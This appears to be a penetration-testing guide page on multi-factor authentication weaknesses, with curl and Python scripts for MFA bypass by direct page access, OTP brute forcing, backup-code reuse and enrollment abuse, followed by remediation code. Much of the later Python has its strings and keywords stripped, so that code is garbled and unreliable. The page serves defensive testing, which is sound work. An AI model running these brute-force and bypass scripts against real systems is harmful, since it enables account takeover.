wstg-athn-11
Test ID
WSTG-ATHN-11
Test Name
Testing Multi-Factor Authentication (MFA)
High-Level Description
Multi-Factor Authentication adds an additional layer of security beyond passwords. This test examines the implementation of MFA for weaknesses such as bypass vulnerabilities, weak OTP generation, lack of rate limiting, and improper enrollment procedures. A flawed MFA implementation can give users false confidence while not actually providing meaningful protection.
What to Check
MFA Implementation
Common Weaknesses
| Weakness | Description |
|---|
| Direct page access | Bypass MFA by accessing post-auth pages |
| Response manipulation | Change response to indicate MFA success |
| Brute force OTP | No rate limiting on attempts |
| Weak OTP generation | Predictable codes |
| Backup code reuse | Codes not single-use |
How to Test
Step 1: Test MFA Bypass via Direct Access
session=$(curl -s -X POST "https://target.com/api/login" \
-H "Content-Type: application/json" \
-d '{"username":"test","password":"password"}' \
-c - | grep session | awk '{print $7}')
protected_pages=(
"/dashboard"
"/account"
"/api/user"
"/settings"
"/api/sensitive-data"
)
for page in "${protected_pages[@]}"; do
response=$(curl -s "https://target.com$page" \
-H "Cookie: session=$session" \
-w "\nStatus: %{http_code}")
echo "$page: $(echo "$response" | tail -1)"
done
Step 2: Test OTP Brute Force
#!/bin/bash
MFA_TOKEN="temporary_mfa_token"
for otp in {000000..000100}; do
response=$(curl -s -X POST "https://target.com/api/verify-mfa" \
-H "Content-Type: application/json" \
-d "{\"token\":\"$MFA_TOKEN\",\"otp\":\"$otp\"}" \
-w "\n%{http_code}")
status=$(echo "$response" | tail -1)
if [ "$status" == "429" ]; then
echo "Rate limited after trying OTP: $otp"
break
fi
if echo "$response" | grep -qi "success"; then
echo "[SUCCESS] Valid OTP: $otp"
break
fi
done
Step 3: Test OTP Predictability
#!/bin/bash
echo "Request OTPs at different times to analyze patterns:"
for i in {1..10}; do
response=$(curl -s -X POST "https://target.com/api/send-otp" \
-H "Authorization: Bearer $MFA_TOKEN" \
-H "Content-Type: application/json" \
-d '{"method":"email"}')
echo "Request $i at $(date +%s): $response"
sleep 5
done
Step 4: Test Response Manipulation
curl -s -X POST "https://target.com/api/verify-mfa" \
-H "Content-Type: application/json" \
-d '{"token":"mfa_token","otp":"000000"}' \
-v 2>&1 | grep -i "set-cookie"
Step 5: Test Backup Codes
backup_code="BACKUP-CODE-1"
curl -s -X POST "https://target.com/api/verify-mfa" \
-H "Authorization: Bearer $MFA_TOKEN" \
-H "Content-Type: application/json" \
-d "{\"backup_code\":\"$backup_code\"}"
response=$(curl -s -X POST "https://target.com/api/verify-mfa" \
-H "Authorization: Bearer $MFA_TOKEN" \
-H "Content-Type: application/json" \
-d "{\"backup_code\":\"$backup_code\"}")
if echo "$response" | grep -qi "success"; then
echo "[VULN] Backup code can be reused!"
else
echo "[OK] Backup code is single-use"
fi
Step 6: Test MFA Enrollment Vulnerabilities
curl -s -X POST "https://target.com/api/disable-mfa" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{}'
curl -s -X POST "https://target.com/api/update-mfa" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"method":"sms","phone":"+1234567890"}'
curl -s -X POST "https://target.com/api/enable-mfa" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"method":"totp","skip_verification":true}'
Step 7: Test "Remember This Device" Feature
curl -s -X POST "https://target.com/api/verify-mfa" \
-H "Content-Type: application/json" \
-d '{"token":"mfa_token","otp":"123456","remember_device":true}' \
-c cookies.txt
cat cookies.txt | grep -i "device\|remember\|trusted"
curl -s "https://target.com/api/login" \
-H "X-Forwarded-For: 1.2.3.4" \
-b cookies.txt
Step 8: Test TOTP Implementation
#!/usr/bin/env python3
import pyotp
import time
secret = "TEST_SECRET_KEY"
totp = pyotp.TOTP(secret)
old_code = totp.at(time.time() - 120)
response = requests.post(
"https://target.com/api/verify-mfa",
json={"otp": old_code}
)
print(f"2-minute old code: {response.status_code}")
future_code = totp.at(time.time() + 120)
response = requests.post(
"https://target.com/api/verify-mfa",
json={"otp": future_code}
)
print(f"2-minute future code: {response.status_code}")
Tools
MFA Testing
| Tool | Description | Usage |
|---|
| Burp Suite | Response manipulation | MFA bypass testing |
| pyotp | TOTP testing | Code generation/analysis |
| Custom scripts | Automated testing | OTP brute force |
Analysis
| Tool | Description |
|---|
| oathtool | TOTP/HOTP generation |
| Python | Custom analysis scripts |
Example Commands/Payloads
MFA Security Tester
import requests
import time
import pyotp
class MFATester:
def __init__(self, base_url):
self.base_url = base_url
self.session = requests.Session()
self.results = {}
def test_bypass_direct_access(self, partial_auth_cookie, protected_pages):
"""Test if MFA can be bypassed by direct page access"""
print("[*] Testing direct page access bypass...")
vulnerable = []
for page in protected_pages:
response = self.session.get(
f"{self.base_url}{page}",
cookies={"session": partial_auth_cookie}
)
if response.status_code == 200 and "login" not in response.url.lower():
vulnerable.append(page)
self.results["direct_access_bypass"] = {
"vulnerable_pages": vulnerable,
"vulnerable": len(vulnerable) > 0
}
def test_otp_brute_force(self, mfa_token, max_attempts=100):
"""Test rate limiting on OTP attempts"""
print()
blocked_at =
i (max_attempts):
otp = (i).zfill()
response = .session.post(
,
json={: mfa_token, : otp}
)
response.status_code == :
blocked_at = i +
.results[] = {
: blocked_at,
: blocked_at blocked_at >
}
():
()
response1 = .session.post(
,
json={: mfa_token, : backup_code}
)
response2 = .session.post(
,
json={: mfa_token, : backup_code}
)
.results[] = {
: response1.status_code,
: response2.status_code,
: response2.status_code ==
}
():
()
totp = pyotp.TOTP(secret)
now = time.time()
time_offsets = [-, -, -, -, -, , , , , , ]
accepted = []
offset time_offsets:
code = totp.at(now + offset)
response = .session.post(
,
json={: code}
)
response.status_code == :
accepted.append(offset)
.results[] = {
: accepted,
: ((o) > o accepted)
}
():
()
response = .session.post(
,
headers={: },
json={}
)
.results[] = {
: response.status_code != ,
: response.status_code ==
}
():
()
.results[] = {
: pre_mfa_session == post_mfa_session,
: pre_mfa_session == post_mfa_session
}
():
( + * )
()
( * + )
vulnerabilities = []
test_name, result .results.items():
vulnerable = result.get(, ) result.get(, )
status = vulnerable
()
key, value result.items():
key []:
()
vulnerable:
vulnerabilities.append(test_name)
()
( * )
()
vulnerabilities:
()
v vulnerabilities:
()
tester = MFATester()
tester.test_bypass_direct_access(, [, ])
tester.test_otp_brute_force()
tester.generate_report()
Remediation Guide
1. Secure MFA Implementation
import pyotp
import secrets
from datetime import datetime, timedelta
class SecureMFA:
MAX_OTP_ATTEMPTS = 5
OTP_LOCKOUT_DURATION = 900
TOTP_VALID_WINDOW = 1
def __init__(self, redis_client):
self.redis = redis_client
def generate_totp_secret(self):
"""Generate secure TOTP secret"""
return pyotp.random_base32()
def verify_totp(self, user_id, code):
"""Verify TOTP with rate limiting and narrow window"""
if not self.check_rate_limit(user_id):
return False, "Too many attempts"
user = User.query.get(user_id)
totp = pyotp.TOTP(user.totp_secret)
if totp.verify(code, valid_window=self.TOTP_VALID_WINDOW):
if self.is_code_used(user_id, code):
return False, "Code already used"
self.mark_code_used(user_id, code)
self.clear_attempts(user_id)
,
.record_failed_attempt(user_id)
,
():
lockout_key =
.redis.exists(lockout_key):
attempts_key =
attempts = (.redis.get(attempts_key) )
attempts >= .MAX_OTP_ATTEMPTS:
.redis.setex(lockout_key, .OTP_LOCKOUT_DURATION, )
():
key =
.redis.incr(key)
.redis.expire(key, )
():
key =
.redis.sismember(key, code)
():
key =
.redis.sadd(key, code)
.redis.expire(key, )
():
codes = []
_ (count):
code = secrets.token_hex().upper()
codes.append(code)
code codes:
BackupCode.create(
user_id=user_id,
code_hash=hash_code(code),
used=
)
codes
():
code_hash = hash_code(code)
backup = BackupCode.query.filter_by(
user_id=user_id,
code_hash=code_hash,
used=
).first()
backup:
backup.used =
backup.used_at = datetime.utcnow()
db.session.commit()
2. Secure MFA Flow
@app.route('/api/verify-mfa', methods=['POST'])
def verify_mfa():
mfa_token = request.json.get('mfa_token')
otp = request.json.get('otp')
backup_code = request.json.get('backup_code')
token_data = mfa_service.validate_temp_token(mfa_token)
if not token_data:
return jsonify({"error": "Invalid or expired MFA token"}), 401
user_id = token_data['user_id']
if otp:
success, error = mfa_service.verify_totp(user_id, otp)
elif backup_code:
success = mfa_service.verify_backup_code(user_id, backup_code)
error = None if success else "Invalid backup code"
else:
return jsonify({"error": "OTP or backup code required"}), 400
if not success:
return jsonify({"error": error}), 401
session = create_new_session(user_id, mfa_verified=True)
mfa_service.invalidate_temp_token(mfa_token)
return jsonify({"session_token": session.token})
3. Require MFA for Sensitive Operations
def require_mfa_verification(f):
"""Decorator to require recent MFA verification"""
@wraps(f)
def decorated(*args, **kwargs):
if not current_user.mfa_enabled:
return f(*args, **kwargs)
last_mfa = session.get('last_mfa_verification')
if not last_mfa or (datetime.utcnow() - last_mfa).seconds > 300:
return jsonify({
"error": "MFA verification required",
"require_mfa": True
}), 403
return f(*args, **kwargs)
return decorated
@app.route('/api/disable-mfa', methods=['POST'])
@login_required
@require_mfa_verification
def disable_mfa():
otp = request.json.get('otp')
if not mfa_service.verify_totp(current_user.id, otp):
return jsonify({"error": "Invalid OTP"}), 401
current_user.mfa_enabled = False
current_user.totp_secret = None
db.session.commit()
send_mfa_disabled_notification(current_user)
jsonify({: })
Risk Assessment
CVSS Score
| Finding | CVSS | Severity |
|---|
| MFA bypass via direct access | 9.8 | Critical |
| No rate limiting on OTP | 8.8 | High |
| Backup code reuse | 7.5 | High |
| Wide TOTP time window | 5.3 | Medium |
| MFA disable without verification | 7.5 | High |
CWE Categories
| CWE ID | Title | Description |
|---|
| CWE-308 | Use of Single-factor Authentication | MFA bypass |
| CWE-307 | Improper Restriction of Excessive Authentication Attempts | OTP brute force |
| CWE-287 | Improper Authentication | MFA implementation flaws |
References
Checklist
[ ] MFA bypass via direct access tested
[ ] OTP brute force protection tested
[ ] OTP predictability analyzed
[ ] Response manipulation tested
[ ] Backup code single-use verified
[ ] Backup code security tested
[ ] MFA enrollment security tested
[ ] MFA disable security tested
[ ] Remember device feature tested
[ ] TOTP time window verified
[ ] Session handling after MFA tested
[ ] Findings documented
[ ] Remediation recommendations provided